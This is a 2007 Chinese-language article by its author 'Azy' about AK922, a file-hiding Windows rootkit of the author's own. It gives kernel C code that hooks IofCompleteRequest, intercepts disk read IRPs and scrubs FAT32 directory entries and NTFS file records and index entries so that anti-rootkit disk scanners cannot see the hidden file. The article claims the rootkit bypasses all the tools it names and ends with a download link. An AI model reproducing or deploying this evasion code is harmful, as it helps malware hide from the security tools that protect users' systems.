AK922: 突破磁盤低級檢測實現文件隱藏
作者:Azy
email: Azy000@gmail.com
完成于:2007-08-08
目前,一些已公開的主流anti-rootkit檢測隱藏文件主要有兩種方法:第一種是文件系統層的檢測,屬于這一類的有icesword,darkspy,gmer等。第二種便是磁盤級別的低級檢測(Disk Low-Level Scanning),屬于這一類的ark也很多,典型代表為rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。當然,還有一些工具,它們在應用層上通過調用ZwQueryDirectoryFile來實施檢測。
驅動也好,應用也罷,說白了就是直接或間接發送IRP到下層驅動。第一類的發送到FSD中(fastfat.sys/ntfs.sys),第二類被發送到磁盤驅動(disk.sys),而后IRP便會攜帶相應的文件信息返回,這時上層應用再根據返回信息進行處理和判斷。但是由于Disk級比FS級更底層,IRP返回給我們的是更加接近數據原始組織方式的磁盤扇區信息,所以在Disk層上實施文件檢測可以得到更令人信服的結果。但這并不等于說這類檢測不能被擊敗。本文就將介紹一種繞過該類檢測的實現方法,當然,這也是在AK922中使用的。
對于要實現文件隱藏的RK,與其說是“繞過”,還不如說是“攔截” -- 掛鉤某些內核函數調用,以便在返回上層之前我們有機會過濾掉待隱藏文件的信息。
AK922采用的方法是Hook內核函數IofCompleteRequest。這個函數很有意思,因為它不僅是一個幾乎在任何驅動中都要調用的函數,而且參數中正好含有IRP。有了IRP,就有了一切。這些特性決定了它很適合做我們的“傀儡”。但更重要的是,一般在驅動中調用IofCompleteRequest之時IRP操作都已完畢,IRP中相關域已經填充了內容,這就便于我們著手直接進行過濾而不用再做諸如發送IRP安裝完成例程之類的操作。
下面就著重說一下工作流程:
首先,判斷MajorFunction是不是IRP_MJ_READ以及IO堆棧中的DeviceObject是否是磁盤驅動的設備對象,因為這才是我們要處理的核心IRP,所有ark直接發送到Disk層的IRP在這里都可以被攔截到。
接下來的處理要特別注意,進入到這里時IRQL是在APC_LEVEL以上的,因此我們不能碰任何IRP中的用戶模式緩沖區,一碰極有可能藍,也就是說我們不能直接處理相關磁盤扇區信息,而必須通過ExQueueWorkItem排隊一個WorkItem的方法來處理。除此之外,由于Disk層在設備堆棧中處于靠下的位置,大部分IRP發到這里時當前進程上下文早已不是原始IRP發起者的進程上下文了,這里的發起者應理解為ark進程。幸運的是在IRP的Tail.Overlay.Thread域中還保存著原始ETHREAD指針,為了操作用戶模式緩沖區,必須調用KeAttachProcess切到IRP發起者的上下文環境中,而這個工作只能在處于PASSIVE_LEVEL級上的工作者線程中執行。在DISPATCH_LEVEL級上,做的事越少越好。
剛開始我還分兩種情況進行處理:因為并不是所有的IRP都不處在原始上下文中,比如icesword發的IRP到這里還是處在icesword.exe進程中的,這時我認為可以不用排隊工作項,這樣就可以節省很多系統資源,提高過濾效率。于是我試圖在DISPATCH_LEVEL級上直接操作用戶緩沖區,但這根本行不通。驅動很不穩定,不一會就藍了。故索性老老實實地排隊去了,然后再分情況處理。代碼如下:
// 處理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{
orgnThread = Irp->Tail.Overlay.Thread;
orgnProcess = IoThreadToProcess(orgnThread);
if(Irp->MdlAddress)
{
UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
// UserBuffer必須有效
if(UserBuffer)
{
if(KeGetCurrentIrql() == DISPATCH_LEVEL)
{
RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
WorkerCtx->UserBuffer = UserBuffer;
WorkerCtx->Length = irpSp->Parameters.Read.Length;
WorkerCtx->EProc = orgnProcess;
ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
}
}
}
}
來到工作者線程,到了PASSIVE_LEVEL級上,切換上下文之后,似乎安全多了。但是以防萬一,操作用戶模式緩沖區之前還是要調用ProbeForXxx函數先判斷一下。相關代碼如下:
VOID WorkerThread(PVOID Context)
{
KIRQL irql;
PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
//PMDL mdl;
if(((PWORKERCTX)Context)->UserBuffer)
{
if(eproc != currProc)
{
KeAttachProcess(eproc);
__try{
// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}
__except(EXCEPTION_EXECUTE_HANDLER){
//DbgPrint("we can't op the buffer now :-(");
KeDetachProcess();
return;
}
KeDetachProcess();
}else{
__try{
// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}
__except(EXCEPTION_EXECUTE_HANDLER){}
}
}
}
準備工作終于算是做得差不多了,下面就開始真正涂改磁盤扇區內容了。這里將涉及到FAT32和NTFS磁盤文件結構,我先把要用到的主要結構列出來,其余的大家可以參考《NTFS Documentation》。
typedef struct _INDEX_HEADER{
UCHAR magic[4];
USHORT UpdateSequenceOffset;
USHORT SizeInWords;
LARGE_INTEGER LogFileSeqNumber;
LARGE_INTEGER VCN;
ULONG IndexEntryOffset; // needed!
ULONG IndexEntrySize;
ULONG AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;
typedef struct _INDEX_ENTRY{
LARGE_INTEGER MFTReference;
USHORT Size; // needed!
USHORT FileNameOffset;
USHORT Flags;
USHORT Padding;
LARGE_INTEGER MFTReferParent;
LARGE_INTEGER CreationTime;
LARGE_INTEGER ModifyTime;
LARGE_INTEGER FileRecModifyTime;
LARGE_INTEGER AccessTime;
LARGE_INTEGER AllocateSize;
LARGE_INTEGER RealSize;
LARGE_INTEGER FileFlags;
UCHAR FileNameLength;
UCHAR NameSpace;
WCHAR FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;
在讀取磁盤文件信息時每次都是以一個扇區大?。?12 bytes)的整數倍進行的,如果不了解相應卷的組織形式和數據結構,那么感覺就是數據多而繁雜,搜索效率也很低。但輔以上述結構便可快速定位待隱藏文件并進行涂改。這里不得不說一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系統BSOD的概率會大大增加。
在FAT32卷上,當AK922搜索到文件AK922.sys的目錄項時,將其0x0偏移處的文件名的第一個字節置為"0xe5",即標記為刪除。這樣即可達到欺騙ark的目的。但為了更加隱蔽,不讓winhex察覺出來,最好把文件名全部清0。
處理NTFS卷稍微麻煩些,文件記錄和索引項都要抹干凈,具體實現見代碼,這里不再贅述。
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;
bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
{
for(i = 0; i < BufLen/0x20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
{
*(PUCHAR)UserBuf = 0xe5;
*(PULONG)((ULONG)UserBuf + 0x1) = 0;
break;
}
UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
}
} else if(bIsNtfsFile) {
//DbgPrint("FILE0...");
for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0x4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}
UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
}
} else if(bIsNtfsIndex) {
//DbgPrint("INDX...");
// Index Entries
offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
indexSize = BufLen - offset;
currPosition = 0;
currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);
if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}
preIndxEntry->Size += currIndxEntry->Size;
break;
}
currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
}
}
}
水平有限,歡迎大家與我交流。
參考資料:
[1] - 《NTFS Documentation》
[2] - Azy,《IceSword & Rootkit Unhooker驅動簡析》
---------
關于AK922(AzyKit):我寫的一個只實現文件隱藏的RK,可以bypass本文提到的所有ark。
Download @
http://www.wiiupload.net/sf/65b4e75ec4